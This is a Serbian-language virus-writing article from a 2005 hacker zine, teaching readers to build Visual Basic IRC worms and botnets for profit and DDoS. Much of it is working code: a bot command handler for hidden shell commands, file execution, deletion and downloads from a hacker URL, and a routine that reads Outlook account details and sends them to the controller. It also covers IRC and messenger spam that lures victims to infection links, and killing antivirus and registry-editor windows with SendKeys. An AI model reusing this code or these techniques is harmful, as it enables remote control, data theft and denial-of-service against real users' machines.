                            
                           ...................
                     ...::: phearless zine #1 :::...

.....................>---[ Vx coding: New Ideas ]---<......................

........................>---[ by ACidCooKie ]---<..........................
                                                 viruskrew[at]yahoo[dot]com

SADRZAJ:

    [1]  Uvod
    
    [2]  Razrada
    
    [3]  Zakljucak


////////////////////////////////////////////////////////////////////////////
--==[ 1. Uvod
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

    Dakle posle mog lame tutora za vbs scripting ide jos jedan :) naravno 
jos gluplji i dosadniji... hmm pa, verovatno ste culi o mom wormu sto sam 
kodirao u VB... uff visualbasic... ne znam ali ja ga volim otkad sam poceo 
da nesto ucim i radim uvek je on bio tu... i po meni je stvarno mocan... do 
odredjene granice naravno... ali sto se tice kodiranja wormova za windows i 
to... po meni je savrsen... Uglavnom u daljem textu cu pisati o nekim mojim 
idejama i stvarima koje treba da se iskoriste ako zelite da pisete wormove, 
jer u sustini sve je vec vidjeno i bitno je da napravite nesto sto jos niko 
nije, sto je tesko... ali makar pokusajte ;)
    Uglavnom bitno je da kad kodirate da ne kodirate stvari koje su vec 
vidjene. Pokusajte izmisliti nesto novo, pa makar to novo predstavljalo i
milimetarski pomak u odnosu na danasnje wormove... Po meni je to najbitnije. 
Ja iskreno nisam neki koder, ali me ovo interesuje vec dugo godina i trudim 
se u tome, a kad se trudite dobijate i rezultate! Bitno je da zamislite 
nesto a onda da to i ostvarite. Ja ne mogu sve da prenesem na papir, ali 
potrudicu se da zapishem ono sto se setim ;) Ukoliko ste pocetnik u ovome, 
nemojte ni pokusavati dalje da citate...



////////////////////////////////////////////////////////////////////////////
--==[ 2. Razrada
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

    Pa da pocnemo. U sustini, po meni, postoje dve podele kodiranje wormova:
prva je ona od koje nemate kotisti i ona od koje mozete da imate :) Ili 
tacnije, da li pisete worma s ciljem da se sto vise prosiri i da nemate bas 
nikakve koristi, tek tako da ostavi neku poruku ili otkud znam da npr. nekog
odredjenog datuma obrise ceo system... Ili ipak pisete worma sa delimicno
istim ciljem  (da zarazi citavu planetu :)) ali da imate i neke koristi od
toga? Ja sam vise za ovu drugu, tj. to vam se zove BotNet, ili wormnet :D
ili tacnije puno zarazenih racunara koje vi kontrolisete sa jednog mesta,
kao sto su na primer troyanci (sub7 i ostala govna) ali to su Client / Server 
stvari...1 to 1 (host to host) a ovo je sasvim nesto drugo.
    Verovatno ste vidjali po mnogim sajtovima, forumima i slicno imena poput 
"ForBot, SdBot, RBot" i slicno. To su sve wormovi koji iskoriscavaju neke 
windows propuste: da li preko nekih fabrickih windows bugova ;) ili preko 
neki socijal sirenja tipa emaila, irc i slicno. To varira od jedne do druge
vrste wormova. Uglavnom, iz dana u dan su sve mocniji i stalno ih autori 
dopunjavaju.
    Imate na netu raznih source codova tih wormova, i uglavnom svi su pisani
u C++. Ali, sve je to izvodljivo i u VB-u... Mnogi ih koriste za takozvane 
Denial of Service napade DDOS, zato sto za vrlo kratko vreme mozete da imate 
par hiljada mashina tj. kompjutera koje mozete da kontrolisete i da im 
zadajete komande koje ce svi u isto vreme da izvrsavaju. Nadam se da Vam ovo 
govori puno toga :) Pored toga sto mozete da zadate komandu tipa "ping 
www.microsoft.com" mozete na primer otvoriti url na 5000 racunara i tamo da 
se nalazi neki vas banner :) click to pay! hehe pa i da zaradite nesto :D
Otkud znam... mogucnosti su velike... samo treba da iskoristite to maximalno.
    Ja sam nedavno pisao neki worm koji je bio sasvim nesto novo. Za nekih 
sedam dana je zarazio oko 2000 racunara, a krenuo je samo sa jedne masine :)

                       / - sest
               / - tri
       / - dva
jedan -         \ - cetiri
       \ - pet           \ - sedam
              \ - osam
itd... itd..
Vise o njemu imate na: http://www.elitesecurity.org/tema/70997
nemam sad zivaca da objasnjavam detaljno..
    Uglavnom poceo sam da Vam pricam ovo zato sto verovatno dok zavrsim ovaj 
tutor bice gotova i druga verzija, ili dok izadje ceo zine. Bitno je da u 
pravi cas napravite pravu stvar ;) Pare se vise ne zaradjuju na lep i posten 
nacin, vec na foru... pa tako i ovo.. ljude treba da iznenadite i tako da ih 
upecate. Sto se tice Anti-Virusa... hmm pa vama nije u sustini ni bitno 
jedan manje ili vishe racunar, uglavnom kad napishete neki worm novi AV ga 
ne prepoznaje, a i da ga prepoznaje, mnogi nemaju instaliran nikakav AV, pa 
tako da nije frka. Ali nikad nije na odmet neko killanje AV. O tome ima dosta 
na netu, samo treba citati i raditi...
    Ok pa da predjemo na nesto pametnije. Dosao sam na jednu ideju koja je 
veoma prosta, a pritom korisna. Dakle, radi se o 'API Functions for Window's 
Titles'. Hmm, svaki program ili sta vec ima svoj TITLE. Kad otvorite Regedit
gore pise 'Registry Editor', a to je ujedno i razlog  zbog kojeg ja sad ovo 
pricam. To bi nam bilo veoma korisno, jer tako bi mogli da killujemo svaku
aplikaciju neodgovarajuceg ili iritirajuceg :) imena...
    Ukoliko je vas worm pokrenut na nekoj masini (skriven), i user pokrene 
Regedit kako bi ga izbrisao iz registrya, vi jednostavno preko komande 
SendKeys mozete da posaljete odredjeni kljuc, tj. taster. I ako worm prepozna 
title moze da posalje kljuc tipa ALT+F (file) i onda X, i tako da ga zatvori.
Hmm zanimljivo a :) Ovo vam otvara neke nove ideje... da kao i meni sto je 
otvorilo :D
    Nema vise komandi i silnih kodova za Proccess Killovanje i gluposti :D 
jednostavno, lako, a mnogo korisno... Dakle, kad sam dosao na tu ideju sinule 
su mi mnoge druge. Na primer, ne morate da blokirate protoke prema nekim AV 
sajtovima kako user ne bi stinuo neki remove tool za vas worm, vec mozete da 
programirate worma da prepoznaje titlove browsera, tipa:
    
    findav ("Sophos - anti-virus")
    findav ("Microsoft Corporation")
    findav ("Symantec Worldwide Home Page")
    findav ("avast! antivirus software")
    
    Mozete staviti kakav hocete text od jedne reci. Cim se pojavi jedan deo 
texta kojeg ste vi zadali da trazi, onda mozete da mu posaljete SendKeys da 
zatvori browser :D i tako zarazeni korisnik ne moze da otvori ni 
www.google.com niti jednu drugu stranicu koju vi isprogramirate da blokira,
tj. da zatvara browser.
    EEEee sad :D U mom wormu proslom, ako ste citali ili znate vec, sirio se 
tako sto je otvarao Webserver na svakoj mashini i iskoriscavao je bug u IE, 
tako da bilo ko poseti sajt (webserver usera zarazenog) automacki se zarazi,
ili ako koristi neki novi IE onda mu se ispise lista zanimljivih fajlova i 
ako downloduje nesto, onda se opet inficira.
    Ovo Vam pricam zbog tog WebServera - bitna stvar kod tog nacina sirenja 
je reklamiranje samog url-a, tj. da pozovete sto vishe ljudi da poseti vas 
sajt, odnosno IP zarazenog racunara: http://ipaddress:port
Opet sve ovo pricam zbog malo pre onoga sto sam pricao u vezi SendKeys. Ako 
koristite ovu nazovimo :) moju metodu, vise vam nisu potrebne API funkcije 
za messengere: MSN, ICQ, Mirandu, Yahoo msg... mislim na slanje poruka 
preko njih. Zasto??? pa zato sto mozete da programirate worma da prepozna 
Title od messengera:

 'MSN
 findmsn ("Conversation")
 'ICQ
 findicq ("Message Session")
 'yahoo
 findyahoo ("Instant Message")

Heh cool a :) Znaci ukoliko je worm aktivan ma mashini i inficirani user 
pokusa da napise nekom poruku na ICQ na primer, cim worm prepozna title 
"Message Session" automacki salje jednu od vasih programiranih poruka, 
tipa "Hey druze vidi ovaj url sto je super http://ipadresa:port" :) i 
ovaj pomisli da mu to salje drug i otovri utl tako se inficira. Znaci 
prilikom otvaranje konverzije (chat boxa) worm posalje poruku i posalje 
"ESC" znaci SendKeys "{ESC}", automacki zatvara prozor... :D
    Niti je inficirani user video sta je poslao niti ista drugo, sve se 
desava u jednoj sekundi. Isto tako ukoliko mu stigne poruka od nekoga, cim 
pokusa da je vidi, desi se isto - worm salje poruku i zatvara pricanje. U 
sustini ovo je jako korisno, jer ne morate da koristite silne linije koda da 
bi ste postigli sta zelite :D Moj sledeci crv koji sad treba da ga zavrsim 
za par dana ce da koristi sve messengere, na ovaj nacin. Uglavnom, rekao sam 
vam sta mi je jedna od korisnih ideja. Takodje mozete ovo da iskoriscavate u 
neke svrhe tipa kad se pojavi odredjeni title da se ispishe neka poruka 
smesna, ili da se ukljuci neki keyloger, ili otkud znam... na vama je da 
mastate :D Sourcecode od ovoga nisam postovo ovde, zato sto ga ima na netu.
Potrazite malo: 'API Functions for Window's Titles', ili sacekajte da objavim 
source code worma. Vazno je da sam rekao za ideju :D
    E sad ja opet forsiram tu pricu o reklamiranju tog url-a, tj. odredjene 
poruke, ali *ebiga, ja ne znam drukcije kako da se worm proshiri osim na 
ovako ove moje nacine :D 
    Ima jos nesto cega sam se setio :) Da da ne zaboravim ovo nije za baciti 
sve :D, jer iz dana u dan izlaze nove IE greske, tj. bugovi, pa bitno je kao
sto sam rekao da sacekate odredjeni trenutak i iskodirate pravu stvar i onda 
je pustite u pogon :D 
    E sad, kako kaze PandaLabs "could represent a new trend in malicious code 
techniques" za moj worm, URL: http://www.vnunet.com/news/1158607
Dakle radi se o tome, mojoj ideji gde sam u wormu uneo naprimer 60 IRC 
servera, i napravio sam jednostavno izlistavanje #soba rooms, i onda sam 
zadao Random ulazenje u njih. Znaci ne ide redom 1,2,3,4,5 vec 1,4,2,1,5,7 i
tako dalje, i kad god udje u sobu kaze odredjeni text i izadje iz nje ;) tipa 

"E angelina jolie se *ebe ovde :) http://ipadresa:port"

    Bitno je da unesete i razne nicknameove sto ce worm da koristi, tipa:
Lista1 Nenad
Lista1 Marko
Lista1 Petar

Lista2 Markovic
Lista2 Nikolic
Lista2 Jevrosimovic

...i onda izmesate to (Randomize)... Lista1 + Lista2... kako bi ste dobili 
vise kombinacija nickname-ova za koriscenje. E sad, izlistavanje soba sam 
uradio u text box, i onda kad se zavrsi to, ide kod za ulazak i slanje 
poruke. Evo primer: (da oko ovoga mi je pomogao (pcmaniac) hvala :)

       On Error GoTo greska
       Sleep 15
       strsobe = txtHappening
       lastfound = 0
       Do
         pos1 = InStr(lastfound + 1, strsobe, "#")
         strsamosobe = strsamosobe + Mid(strsobe, pos1, InStr(pos1, strsobe, " ") - pos1)
         lastfound = pos1
         Loop While (InStr(lastfound + 1, strsobe, "#") > 0)
       soba = Split(strsamosobe, "#")
       For n = 1 To UBound(soba)
       sobarnd = soba(Rnd * UBound(soba))
         Randomize
         Sleep 2
         sckIRC.SendData "JOIN :#" & sobarnd & vbCrLf
         Sleep 3
         sckIRC.SendData "PRIVMSG #" & sobarnd & " :" & usemsgtosend & vbCrLf
         Sleep 1
         sckIRC.SendData "PART :#" & sobarnd & vbCrLf
       Next n
       sckIRC.SendData "QUIT" & vbCrLf
       sckIRC.Close
       Call irc
       greska:

To je to... nadam se da nekom treba. Uglavnom, bitna stvar kod irc konekcije 
jesu oni glupi botovi na serveru sto vam salju poruke tipa CTCP VERSION i 
tako te stvari, kao proverava verziju software-a, a ako ne odgovorite on vas 
killne sa servera i tako otkrivaju botove i ostalo... ali to je vrlo lako 
zaobici, samo ja nisam imao vremena da se bahcem oko toga...
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
    E sad idemo na nesto tipa backdoor. Ja sam kodirao jedan nacin kontrole
racunara preko IRC-a, zadavanjem komandi, sto je kod botnet-ova standard. 
Uglavnom svi koriste takvu kontrolu. Taj deo mi je jako interesantan, zato 
sto bukvalno mozete sve, samo treba Vam ispiracija :D Ja cu vam dati par 
ideja sto sam ja stavljao u moj worm.
    Kao prvo, bitno je da nadjete neki irc server na koji mogu botovi da se
konektuju, jer mnogi ce preko firewallova i sl. otkriti gde ide konekcija. 
Ali bitno je da taj deo source coda gde bot ulazi u odredjenu #sobu na vasem 
irc serveru kriptujete, ili bar sifru. Znaci ovaj deo "join #bots password",
kako drugi nebi mogli da vide to.
    Posto, normalno, necete imati svoj irc server, vazno je napraviti da
ukoliko worm ne moze da se konektuje na jedan server, da odmah pokusa na
drugi sa liste, i tako redom. Ja sam kod mojih drugara vidjao #sobe po 10000 
usera :D to nemozete da verujete... znaci 10000 mashina u jednoj sobi hheheh
:D i onda se na public daju komande tipa !ddos IPADRESA :D i onda kad svi 
udare... stvori se ogroman PAKET/SEKUND :) strasno, uzmimo da svaki moze da
da maksimalno 3Kb/s (ali sigurno moze vise, pogotovo u razvijenim zemljama),
znaci 3 * 10000 = 30000 Kb ==> 30 megabajta!!! 
    Jos jedna stvar: kod kodiranja nicknamova kad se bot konektuje na server
ja sam stvar resio ovako:

       Private Sub botSCK_Connect()
       On Error Resume Next
       Randomize
       broj = Int(Rnd * 10000)
       broj1 = Int(Rnd * 10000)
       Sleep 2
       botSCK.SendData "USER alo 0 * :haha" & broj & vbCrLf
       botSCK.SendData "NICK SkyLove" & broj & broj1 & vbCrLf
       Sleep 6
       botSCK.SendData "JOIN :#code" & vbCrLf
       End Sub
    Gotovo je nemoguce da vam se desi da racunar generise nickname sa istim 
brojem, tipa: "SkyLove{broj}{broj1}"
    OK idemo dalje... Kod same konekcije bota na server bitno je da imate 
odgovor na PING. Evo kako moj deo koda izgleda, kod same konekcije:
(uz izlaganje koda, ujedno cu i objasnjavati pojedine delove i detalje koda)

       Private Sub botSCK_DataArrival(ByVal bytesTotal As Long)
       On Error Resume Next
       Dim strData As String, arrData() As String, i As Long
       Dim arrWords() As String, arrParms() As String
       Dim arrRooms() As String

       botSCK.GetData DataString, vbString

       arrData = Split(DataString, vbCrLf)
       For i = 0 To UBound(arrData) - 1
       arrWords = Split(arrData(i), " ")
       arrParms() = Split(arrData(i), ":")
       arrRooms() = Split(arrData(i), "#")
       memory = UCase$(arrWords(3))

       For a = 4 To 99
       msg = msg & arrWords(a) & " "
       Next a

       '******************************************
       'ping pong
       If UCase$(arrWords(0)) = "PING" Then
       botSCK.SendData "PONG :" & arrParms(1) & vbCrLf
       End If

Ovde vidite odgovor na PING .. worm prepoznaje rec PING i odgovara sa:
"PONG :" & odredjeni brojevi & arrParms(1). Kod irc-a je bitno na kraju 
vbCrlf, zbog ENTERA, tj. da se posalje da bi server dobio poruku. Idemo 
dalje. Ovde sam napravio da npr. na private botu kad kazete "!MYNICK BO1" 
on cuva to u text box, i onda vam odgovara da je Vas nickname sacuvan u 
njegovoj memoriji tj. u text boxu, kako bi mogao dalje da komunicira sa 
vama...

       If memory = ":!MYNICK" Then
       Text1.Text = arrWords(4)
       botSCK.SendData prvmsg & " :Your nick saved! Type !HELP" & vbCrLf
       End If
       'preskoci ako nema nick
       If Text1.Text = "" Then
       GoTo nemanick
       End If

Ovo 'memory' je ustvari prepoznavanje text posle treceg razmaka sto vidite 
gore: 'memory = UCase$(arrWords(3))'. Posle toga mozete napraviti neki help 
meni, kao ovaj sto dajem nastavku koda. Ukoliko ukucate na private !HELP, 
on vam izbaci ovako:

       'help menu
       If memory = ":!HELP" Then
       botSCK.SendData prvmsg & " :******************** i-worm.vash worm :) help ********************" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :Ok hello :) This is worm help" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :    " & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :0. !HELP this menu" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :1. !MSG [send some critical msg]" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :2. !CHAT you can chat whit user :) start sesion" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :        !CHATCLOSE close chat sesion to user.." & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :3. !SYSINFO system information" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :4. !SHELL [any MS-DOS command]" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :5. !WRITE [path to file] [some text]" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :        Example: !WRITE C:\windows\desktop\read.txt luser fuck you" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :6. !EXE [path to file] < execute files" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :7. !KILL [path to file] < delete any file" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :8. !REBOOT  brute force reboot user system :)" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :9. !DOWNFILE  Download file from some url" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :        Example: !DOWNFILE http:\\www.hacker.com/name.exe C:\save\to\path.exe" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :********************** END HELP ***********************" & vbCrLf
       End If

Ok, ovde uglavnom vidite neke komande koje sam ja stavio.. u ovoj mojoj 
probnoj verziji worma, koje su mi najbitnije. Non stop se ponavlja Sleep 1.5
tj. pauza od sekund ipo. To sam stavio zbog moguceg detektovanja flood-a 
bota, jer ako to server primeti, on vas moze diskonektovati zbog navodnog
"flooda" dok vam vas bot salje te informacije na private msg... E sad, dole 
cu pokazati kodova za neke od ovih komandi, tj. kako sam ja to resavao:

       'send msg
       If memory = ":!MSG" Then
       botSCK.SendData prvmsg & " :Message is SENT!!!" & vbCrLf
         Sleep 2
       MsgBox msg, vbCritical, "Fatal Error:"
       botSCK.SendData prvmsg & " :User click 'OK'" & vbCrLf
       End If

Ovo je prost kod za slanje poruka, gde vi kazete nesto tipa "!MSG pusi kitu 
mom drugu titu :)". Vidite ovaj deo koda: 
MsgBox msg, vbCritical, "Fatal Error:"
...ovaj 'msg' je gore naveden, tj. ima petlju da se stalno vrti. I tako sam 
resio posle cetvrtog 4 razmaka " " da ide do 99, tj. da pamti ceo text koji 
unesete. Idemo dalje. Chat konverziju sa userom sam napravio iz zezanja, ono 
cisto eto :D resio sam je vrlo jednostavno. Morate kreirati jednu formu, new 
window, iskljuciti Title Box i staviti da uvek stoji prva, (u ovom slucaju 
'frmchat' i onda)...

       'chat whit user
       If memory = ":!CHATCLOSE" Then
       frmchat.Text1.Text = ""
       frmchat.Visible = False
       botSCK.SendData prvmsg & " :***** Chat sesion to user CLOSED! *****" & vbCrLf
       End If
       If memory = ":!CHAT" Then
       frmchat.Show
       botSCK.SendData prvmsg & " :***** CHAT SESSION OPEN *****" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :Chat whit user like: !CHATSEND [text to send]" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :Don't forget to close session if you finish !CHATCLOSE" & vbCrLf
       End If
       If memory = ":!CHATSEND" Then
       frmchat.Text1.Text = frmchat.Text1.Text & "Hacker: " & msg & vbCrLf
       botSCK.SendData prvmsg & " :Your text received!" & vbCrLf
       End If

Znaci jednostavna forma sa dva text boxa, jedan da sluzi za ispis poruke 
koju saljete i drugi gde ce on da kuca poruku, i jedno dugme BUTTON, sa 
kodom:

       Private Sub Command1_Click()
       frmirc.botSCK.SendData "PRIVMSG " & frmirc.Text1.Text & " :User send this text: " & Text2.Text & vbCrLf
       Text1.Text = Text1.Text & "You: " & Text2.Text & vbCrLf
       Text2.Text = ""
       End Sub

Vrlo prosto! I tako mozete da caskate :D Jos nesto: ukoliko zelite da vam ta 
forma stoji non stop ->prva<- evo mali kod:

       Private Sub Form_Load()
       Dim b As Boolean
           b = SetWinPos(1, Me.hwnd)
       End Sub

Bar radi na win98 :D verovatno i na XP. Zatim system informacije. To je onako 
cisto neki mali info koji mozete da dopunite prema vasim idejama:

       'system information
       If memory = ":!SYSINFO" Then
       For a = 1 To 9
          ssmtp = wshShell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\0000000" & a & "\SMTP Server")
          sname = wshShell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\0000000" & a & "\SMTP Display Name")
          smail = wshShell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\0000000" & a & "\SMTP Email Address")
       Next a

       botSCK.SendData prvmsg & " :/ ******* SYSTEM INFORMATION ******* \" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :My local IP: " & botSCK.LocalIP & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :   Host Name: " & botSCK.LocalHostName & vbCrLf
         Sleep 1.5
       If ssmtp = "" Then
       botSCK.SendData prvmsg & " :Can't find >> outlook << email info" & vbCrLf
       Else
       botSCK.SendData prvmsg & " :>>>>> Outlook info: <<<<<<" & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :   SMTP Server: " & ssmtp & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :   SMTP Display Name: " & sname & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :   SMTP Email Address: " & smail & vbCrLf
       End If
       botSCK.SendData prvmsg & " :My path is: " & App.Path & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :Now in my clock is: " & Time$ & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :Computer name: " & wshShell.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName") & vbCrLf
         Sleep 1.5
       botSCK.SendData prvmsg & " :\ ******* END SYSTEM INFORMATION ******* /" & vbCrLf
       End If
       '******************************************

Uglavnom IP i host name cita iz winsock, Outlook config iz registrya kao sto 
vidite, i tako... vrlo jednostavno. Shell komandu, tj. bilo koju MS-DOS 
komandu tipa format C: ili sta vec, sam resio kreiranjem .bat fajla 
pokretanjem i brisanjem:

       'SHELL command
       If memory = ":!SHELL" Then
          Open App.Path & "\shell.bat" For Output As #1
           Print #1, msg & "> shell.txt"
          Close #1
       Shell (App.Path & "\shell.bat"), vbHide
       Kill (App.Path & "\shell.bat")
       botSCK.SendData prvmsg & " :MS-DOS Command: [" & msg & "] executed!" & vbCrLf
       End If

ok Evo jos par prostih kodova za pisanje fajla, pokretanje, brisanje...

       '******************************************
       'white file
       If memory = ":!WRITE" Then
       For a = 5 To 99
       textmsg = textmsg & arrWords(a) & " "
       Next a
          Open arrWords(4) For Output As #1
           Print #1, textmsg
          Close #1
       botSCK.SendData prvmsg & " :Your text saved to this file: " & arrWords(4) & vbCrLf
       End If
       '******************************************
       'EXE execute
       If memory = ":!EXE" Then
       If fso.FileExists(arrWords(4)) Then
       Shell (arrWords(4)), vbHide
       botSCK.SendData prvmsg & " :File [" & arrWords(4) & "] executed! hidden" & vbCrLf
       Else
       botSCK.SendData prvmsg & " :User don't have this file:[" & arrWords(4) & "]" & vbCrLf
       End If
       End If
       '******************************************
       'KILL file
       If memory = ":!KILL" Then
       If fso.FileExists(arrWords(4)) Then
       Kill (arrWords(4))
       botSCK.SendData prvmsg & " :File [" & arrWords(4) & "] killed!" & vbCrLf
       Else
       botSCK.SendData prvmsg & " :User don't have this file:[" & arrWords(4) & "]" & vbCrLf
       End If
       End If
itd.itd.itd.. :D nikad kraja.. hehe :D..


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

    Ok, to je to uglavnom sto se tice botova i sranja. Dacu vam jos par 
korisnih kodova sto sam nashao na netu. Veliki problem je Sleep, zbog svoje 
LOOP metode u kojoj uzima 100% cpu... E sad tada dodje i do blokiranja na 
momente celog systema, tj. zamrzne se komp. Nasao sam sleep koji uzima 100% 
cpu-a ali radi perfekt - nista ne koci, i sto je najvaznije - ne zamrzava :D
To stavite u modul:

       Public Sub Sleep(ByVal inWaitSeconds As Single)

       Const WAIT_OBJECT_0 As Long = 0
       Const WAIT_TIMEOUT As Long = &H102

       Dim lastTick As Single
       Dim timeout As Long
       timeout = inWaitSeconds * 1000
       lastTick = Timer

       Do
       Select Case MsgWaitForMultipleObjects(0, 0, False, timeout, 255)
       Case WAIT_OBJECT_0
       DoEvents
       timeout = ((inWaitSeconds) - (Timer - lastTick)) * 1000
       If timeout < 0 Then timeout = 0

       Case Else
       Exit Do

       End Select

       Loop While True

       End Sub

I ovo Vam je bitno da stavite skroz gore na TOP coda modula:
'Private Declare Function MsgWaitForMultipleObjects Lib "user32" 
(ByVal nCount As Long, pHandles As Long, ByVal fWaitAll As Long, 
ByVal dwMilliseconds As Long, ByVal dwWakeMask As Long) As Long'
kako bi sve to radilo kako treba :D

-----------------------------------------------------

    Druga korisna stvar je (ako vam zatreba) kod koji proverava svakih par 
minuta internet konekciju. Ukoliko pravite worma, ubacite ovaj deo koda
na primer u winsock error, da bi on pozvao ovaj sub i da bi proverio da li
postoji konekcija. Ovo je bitno da ne bi doslo do neke greske u wormu ako
user nije vise konektovan. Ovo ide u modul isto:

       Sub checknet()
       On Error Resume Next
       Dim m, s
       proverinet:
       If InternetGetConnectedState(0&, 0&) = 1 Then
       GoTo okNETaktiviran
       Else
       GoTo opetnetprovera
       End If
       'ako nisi na netu idi opet na proveru
       opetnetprovera:
       Do
       m = Minute(Now)
       s = Second(Now)
       If m = 0 And s = 0 Then GoTo proverinet
       If m = 3 And s = 0 Then GoTo proverinet
       If m = 5 And s = 0 Then GoTo proverinet
       If m = 8 And s = 0 Then GoTo proverinet
       If m = 10 And s = 0 Then GoTo proverinet
       If m = 13 And s = 0 Then GoTo proverinet
       If m = 15 And s = 0 Then GoTo proverinet
       If m = 18 And s = 0 Then GoTo proverinet
       If m = 20 And s = 0 Then GoTo proverinet
       If m = 23 And s = 0 Then GoTo proverinet
       If m = 25 And s = 0 Then GoTo proverinet
       If m = 28 And s = 0 Then GoTo proverinet
       If m = 30 And s = 0 Then GoTo proverinet
       If m = 32 And s = 0 Then GoTo proverinet
       If m = 35 And s = 0 Then GoTo proverinet
       If m = 38 And s = 0 Then GoTo proverinet
       If m = 40 And s = 0 Then GoTo proverinet
       If m = 42 And s = 0 Then GoTo proverinet
       If m = 45 And s = 0 Then GoTo proverinet
       If m = 48 And s = 0 Then GoTo proverinet
       If m = 50 And s = 0 Then GoTo proverinet
       If m = 53 And s = 0 Then GoTo proverinet
       If m = 55 And s = 0 Then GoTo proverinet
       If m = 58 And s = 0 Then GoTo proverinet
       DoEvents
       Loop
       okNETaktiviran:
       msgbox "ovde ide komanda koju ocete.. ukoliko je net aktivan"
       End Sub

Takodje ovo nece raditi ako ovo ne stavite gore na top modula:
'Public Declare Function InternetGetConnectedState Lib "wininet.dll" 
(ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long'

-----------------------------------------------------

Jos jedan kod, koji vam mozda zatreba, a to je pronalazenje odredjenog 
stringa, tj. text u nekom text boxu... To vam je za one pretrage sa SendKeys 
i titlovima. Ja sam napravio da titlove aktivnih programa cuva u text boxu,
pa onda kod izgleda ovako:

       Function findav(a As String) As Boolean
           Dim b As Integer
           b = InStr(Text2, a)
           If b > 0 Then
           Sleep 1
       SendKeys "%F"
       SendKeys "c"
       SendKeys "%F"
       SendKeys "x"
           End If
       End Function

Radi tako sto zadajete komandu tipa "findav("ludilo")" i ako nadje na rec 
ludilo u textboxu, onda uradi isprogramirani posao, ili u drugom slucaju
ne radi nista.

=====================================================================
       --== {3. Zakljucak :D
=====================================================================
    E pa dragi moji to vam je to otprilike... Stvarno ne mogu vise da kucam 
i razmisljam. Danas je 05.02.2005 tako da sam zavrshio i ovo. Uglavnom to 
su neki sitni korisni kodovi i tako ideje neke i otkud znam... u sledecem 
zinu cu pisati nesto novo i tako do tada... :D uzivajte i napravite nesto 
novo.. ako imate neke ideje, predloge i/ili primedbe i ostalo saljite na 
viruskrew@yahoo.com...
    Veliki pozdrav za sve moje projatelje kako odavde tako i odande :D, tj. 
za ceo II-LABS.org team pogotovo za BoyScout-a, onda ceo BihNet.org team, 
m0f0, eman, morphine i ostalu ekipu koja posecuje forum...mog druga e[a]x-a,
ceo VirusKrew... DTM, phreak, Dominus... i naravno da nezaboravim lame forum 
ES :D salim se heh... Hmm poz za naravno: #secure, #ugs :) // krstarica hehe

ACIdCooKie / CooKie / BO1 / from Serbia ;) | VIRUSKREW

